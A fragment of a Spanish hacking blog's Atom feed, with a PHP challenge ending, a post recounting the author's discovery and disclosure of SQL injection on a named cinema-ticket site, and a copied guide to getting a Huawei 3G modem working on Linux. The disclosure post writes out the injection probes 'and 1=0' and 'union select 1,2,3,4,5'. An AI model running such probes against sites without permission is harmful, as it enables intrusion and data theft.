&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;echo &quot;QUE NO COÑO!&quot;;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
?&amp;gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Es un reto bastante sencillo, espero las respuestas por DM de twitter, un saludo!&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/7383089699509024634/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2013/10/un-reto-para-mentes-abiertas.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/7383089699509024634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/7383089699509024634'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2013/10/un-reto-para-mentes-abiertas.html' title='Un reto para mentes abiertas!'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-9141385337324541595</id><published>2013-10-17T08:40:00.001+02:00</published><updated>2013-10-17T08:40:03.926+02:00</updated><title type='text'>Muy buenas gentecilla!</title><content type='html'>Muy buenas! hace tiempo que no escribo pero, para los que me leéis, y para lo poco que tengo que decir pues casi que mejor no?!&lt;br /&gt;
&lt;br /&gt;
Prefiero no decir nada si no es interesante, así no lleno el blog de &quot;trash&quot;.&lt;br /&gt;
&lt;br /&gt;
El caso que hoy escribo porque recientemente encontré una vulnerabilidad en una web en la que se está registrando todo el mundo, &lt;a href=&quot;http://www.fiestadelcine.com/&quot;&gt;www.fiestadelcine.com&lt;/a&gt; la cual tiene una iniciativa que me gusta, que es &quot;abaratar&quot; aunque sea por 3 días el precio de ese lujo que se ha convertido a dia de hoy el ir al cine.&lt;br /&gt;
&lt;br /&gt;
Pues bien, llegó a mi dicha pagina por un email interno del curro, y rápidamente me propuse a mirar a ver que tal estaba hecha. Casi tan rápido como lo miré, me fijé que había el típico id=123 el cual es mega susceptible de recibir una SQLi. Mas rápido que la luz me dispuse a probar el típico and 1=0, y gualá! era vulnerable.&lt;br /&gt;
&lt;br /&gt;
Ahí ya sabia que esta pagina era vulnerable a un Blind-SQLi, y entonces me puse a mirar si pasaba lo mismo con una SQLi normal y corriente. Probé con lo siguiente id=0 union select 1,2,3,4,5 y como efectivamente estaba casi seguro obtuve un 2, 4, 5 escritos en la web.&lt;br /&gt;
&lt;br /&gt;
Igual de rapido que probé estas cosas, les escribí por twitter y para mi sorpresa, contestaron rapidísimo! No es la primera vulnerabilidad que reporto a una web, y sin embargo nunca me habían contestado tan rápido.&lt;br /&gt;
&lt;br /&gt;
Les vi muy concienciados con la LOPD y lo solucionaron bastante rápido. Me agregaron al twitter, me mencionaron en alguno de sus tweet y ya hablamos por correo, donde les indiqué como solucionar el problemilla.&lt;br /&gt;
&lt;br /&gt;
Como muestra de gratitud me han dado unas entradas para el preestreno de Capitan Phillips para hoy :D&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Así que ya os contaré que tal. Me alegro que la gente esté tan concienciada, :) errores los tenemos todos, pero si se tratan de esa manera tan profesional da gusto!&lt;br /&gt;
&lt;br /&gt;
Un saludete!!!</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/9141385337324541595/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2013/10/muy-buenas-gentecilla.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/9141385337324541595'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/9141385337324541595'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2013/10/muy-buenas-gentecilla.html' title='Muy buenas gentecilla!'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-1745397651167447826</id><published>2013-02-18T09:17:00.002+01:00</published><updated>2013-02-18T09:17:16.229+01:00</updated><title type='text'>3G Huawei E173 Backtrack 5</title><content type='html'>Antes de nada he de decir que este articulo lo he sacado de:&lt;br /&gt;
&lt;a href=&quot;http://raagpc.blogspot.com.es/2011/07/odisea-3g-huawei-e173.html&quot;&gt;http://raagpc.blogspot.com.es/2011/07/odisea-3g-huawei-e173.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Lo voy a copiar aqui, por que siempre que instalo linux de nuevo tengo una odisea, y si lo pongo aqui, siempre lo encontrare. Muchas gracias a raagpc por su excelente articulo, os recomiendo visitar su blog es fenomenal!&lt;br /&gt;
&lt;br /&gt;
[Copio]&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Pues resulta que compré un modem 3G Huawei E173 de los nuevos que está ofreciendo Telefónica México, el reto comenzó cuando al conectarlo a mi máquina con Arch Linux no lo reconoció automáticamente (ya había probado los otros modelos de modem y sin problemas) así que en lugar de ponerme a llorar, me puse investigar como de costumbre.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;En los foros encontré que agregando una par de lineas a la configuración de usb_modeswitch el huawei E173 funcionaba correctamente (&lt;/span&gt;&lt;a href=&quot;https://bbs.archlinux.org/viewtopic.php?id=118746&quot; style=&quot;-webkit-transition: color 0.3s; background-color: white; color: #009eb8; display: inline; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; outline: none; text-align: justify; text-decoration: initial;&quot;&gt;Aquí un ejemplo&lt;/a&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;) , sin embargo, lo primero que noté es que el id del producto de aquellos que ya lo habían hecho funcionar era distinto:&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;ID 12d1:1436 Huawei Technologies Co., Ltd. (En el caso del foro)&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;ID 12d1:1c24 Huawei Technologies Co., Ltd. (En mi caso)&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Supuse que esto sería solo diferencia por el país, y decidí seguir el ejemplo, cambiando los idProduct por 1c24.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;También noté que el idProduct después de intentar hacer el switcheo cambiaba a &quot;1c23&quot; y no a &quot;1001,1406,140b,140c,1412,141b,1433,14ac&quot; como se muestra en el foro, total que hice los cambios pertinentes y después de varios intentos logré que usb_modeswitch funcionara, pero seguía sin ser reconocido como modem, aunque este fue el primer paso.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;A continuación pongo lo que se debe realizar para que usb_modeswitch funcione de este modo:&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; font-weight: bold; line-height: 19px; text-align: justify;&quot;&gt;1. usb_modeswitch&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Creamos un archivo nuevo en donde definimos las configuraciones del modem, en mi caso lo puse en&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; font-style: italic; line-height: 19px; text-align: justify;&quot;&gt;/etc/usb_modeswitch.d/E173&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;&amp;nbsp;y agregamos el siguiente contenido (esto se realiza como root):&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br /&gt;
&lt;blockquote style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;
&lt;br /&gt;DefaultVendor= 0x12d1&lt;br /&gt;DefaultProduct=0x1c24&lt;br /&gt;&lt;br /&gt;TargetVendor= 0x12d1&lt;br /&gt;TargetProduct= 0x1c23&lt;br /&gt;&lt;br /&gt;CheckSuccess=5&lt;br /&gt;&lt;br /&gt;MessageContent=&quot;55534243000000000000000000000011060000000000000000000000000000&quot;&lt;br /&gt;&lt;/blockquote&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Como ya dijimos anteriormente DefaultVendor y DefaultProduct son los id del fabricante y del producto respectivamente.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;TargetVendor y TargetProduct son los id que tendrá después de hacer el switch.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;CheckSuccess es la cantidad de veces con retardo de 1 segundo que checará que el&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;switch se haya realizado correctamente.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;MessageContent es una cadena hexadecimal que le indica el modo a cambiar al dispositivo (Este último lo tuve que sacar preguntando en un foro).&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Ahora se debe agregar una regla de udev para que al momento de conectar modem haga el switch.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Abrimos (como root) el archivo /lib/udev/rules.d/40-usb_modeswitch.rules y agregamos la siguiente regla (casi al final justo antes de la linea &#39;LABEL=&quot;modeswitch_rules_end&quot;&#39;)&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;blockquote style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;
&lt;br /&gt;ATTRS{idVendor}==&quot;12d1&quot;, ATTRS{idProduct}==&quot;1c24&quot;, RUN+=&quot;/usr/sbin/usb_modeswitch -c /etc/usb_modeswitch.d/E173&quot;&lt;/blockquote&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Esto le dice a udev que cuando detecte que se conecte un dispositivo con el product y vendor especificados, ejecute el comando que está en RUN (/usr/sbin/usb_modeswitch -c /etc/usb_modeswitch.d/E173), es decir usb_modeswitch con la configuración que creamos anteriormente.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;En caso de algunas distros como debian o ubuntu hay que reiniciar udev para que tome el cambio:&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;blockquote style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;
&lt;br /&gt;sudo /etc/init.d/udev restart&lt;/blockquote&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;En caso de Arch el camio es automático.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Hasta ahí hicimos un switcheo de modo, pero no está reconocido como modem, continué con mi búsqueda y encontré un driver que al parecer ya es algo antiguo, de igual modo decidí descargarlo y probarlo, pero al momento de ejecutar el install pude ver que descomprimía el código fuente (gracias a tux venía el código) del driver y lo compilaba, pero no era tan fácil, enviaba un error al momento de compilar diciendo que no encontraba la función ioctl :( así que de nuevo a google, descubrí que al parecer la función ioctl fue deprecada a partir de la versión 2.6.27 del kernel lo cual era un problema, pero esta función fue reemplazada por unlocked_ioctl (a modificar el código), desafortunadamente el script de instalación descomprimia el código solo al momento de instalar para compilar, así que me di cuenta que no podría hacer la modificación directamente, (bendito comando sed) opté por modificar el script de instalación agregando un comando justo después de descomprimir que cambiara la función por la correcta, esas líneas quedaron de este modo:&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;blockquote style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;
&lt;br /&gt;&quot;${TEMPWORKPATH}/7zr&quot; x -y ${TEMPWORKPATH}/MobilePartner.bin &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;&quot;${TEMPWORKPATH}/7zr&quot; x -y ${TEMPWORKPATH}/data.bin &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br /&gt;sed -i &#39;s/\.ioctl/\.unlocked_ioctl/g&#39; /usr/local/Movistar_3.5G/driver/ndis_driver/ndis_src/src/hw_cdc_driver.c&lt;br /&gt;# chmod -R a+w &quot;${INSTALLPATH}&quot;/userdata&lt;br /&gt;# chmod -R a+w &quot;${INSTALLPATH}&quot;/log&lt;br /&gt;chmod -R a+w &quot;${INSTALLPATH}&quot;/config&lt;/blockquote&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Después de esto compilé y sin problemas, a continuación pongo el link al driver modificado y los pasos para instarlo.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; font-weight: bold; line-height: 19px; text-align: justify;&quot;&gt;2. Driver.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, 